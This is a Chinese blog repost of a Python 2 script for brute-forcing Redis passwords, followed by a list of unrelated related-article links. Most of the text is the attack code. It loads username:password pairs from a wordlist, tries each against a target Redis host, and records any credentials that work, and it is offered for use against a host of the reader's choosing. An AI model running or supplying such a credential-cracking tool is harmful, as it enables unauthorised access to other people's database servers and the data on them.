博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
用python 编写redis 暴力破解密码的程序
阅读量:4582 次
发布时间:2019-06-09

本文共 2618 字,大约阅读时间需要 8 分钟。

本文摘自 import redis import logging LOGIN_TIMEOUT = 12 class RedisAuth:   #初始化     def __init__(self, (host, port)):         self.addr = (host, port)         print self.addr   #login函数,有三个参数,self,username,password     def login(self, username='', password=''):         conn_ok, auth_ok, banner = False, False, ''         connection = None         try:        #连接redis        #redis.StrictRedis(host='localhost', port=6379, db=0, password=None, socket_timeout=None, connection_pool=None, charset='utf-8',         errors='strict', decode_responses=False, unix_socket_path=None)             connection = redis.StrictRedis(host=self.addr[0], port=self.addr[1],password=password,db=0, socket_connect_timeout=LOGIN_TIMEOUT)             conn_ok = True             auth_ok = True             print password             info = connection.info()             banner = str(info)             logging.getLogger().warn('FOUND %s:%s@%s:%d
' % (username, password, self.addr[0], self.addr[1])) except Exception as e: es = str(e) if es.find('Password') >= 0: conn_ok = True else: conn_ok = False logging.getLogger().info('ERR:1 %s:%d %s' % (self.addr[0], self.addr[1], es)) print es del connection #删除变量connection return conn_ok, auth_ok, banner class RedisBruteTester: def __init__(self, userdict, passwords=None): self.userdict = userdict pass def test(self, task): (host, port) = (task[0], task[1]) rs = [] auth = RedisAuth((host, port)) # print self.userdict for username in self.userdict: for password in self.userdict[username]: conn_ok, auth_ok, banner = auth.login(username, password) print conn_ok,auth_ok,banner if not conn_ok: # return rs continue if not auth_ok:             continue          rs.append([host, port, 'REDIS', username, password, banner])          break     if not rs:       logging.getLogger().info('SAFE %s:%d' % (host, port))     return rs if __name__ == '__main__':   host,port = "需要暴力破解的host",int('6379')   userdict = dict()   for ln in open('c:\\redis_userpasswd.txt'):     fs = ln.strip().split(':', 1)     if len(fs) != 2:       continue     username = fs[0]     password = fs[1]     if username not in userdict:       userdict[username] = set()     userdict[username].add(password)     # logger = xutils.initLogger('.\\pass\\redis.txt')   tester = RedisBruteTester(userdict)   rs = tester.test((host, port))   if rs == []:     print('Faild')   else:     print(rs)

转载于:https://www.cnblogs.com/daphnezhu/p/9723710.html

你可能感兴趣的文章
C#-CLR各版本特点
查看>>
css3背景透明文字不透明
查看>>
《java JDK7 学习笔记》之接口与多态
查看>>
LeetCode 96:Unique Binary Search Trees
查看>>
kernel-char设备的建立
查看>>
DVWA-CSRF
查看>>
ubuntu common software introduction
查看>>
资源相互引用时 需添加 PerformSubstitution=True
查看>>
MapRedece(单表关联)
查看>>
蒲公英App开发之检测新版本
查看>>
【安卓基础】倒计时按钮封装(验证码倒计时按钮)
查看>>
configparser模块
查看>>
SelectQueryBuilder的用法
查看>>
android的用户定位(一)
查看>>
creat-react-app搭建的项目中按需引入antd以及配置Less和如何修改antd的主题色
查看>>
IIS安装
查看>>
html块级元素和行级元素的区别和使用
查看>>
for循环嵌套
查看>>
寒冬夜行人
查看>>
poj1151 Atlantis
查看>>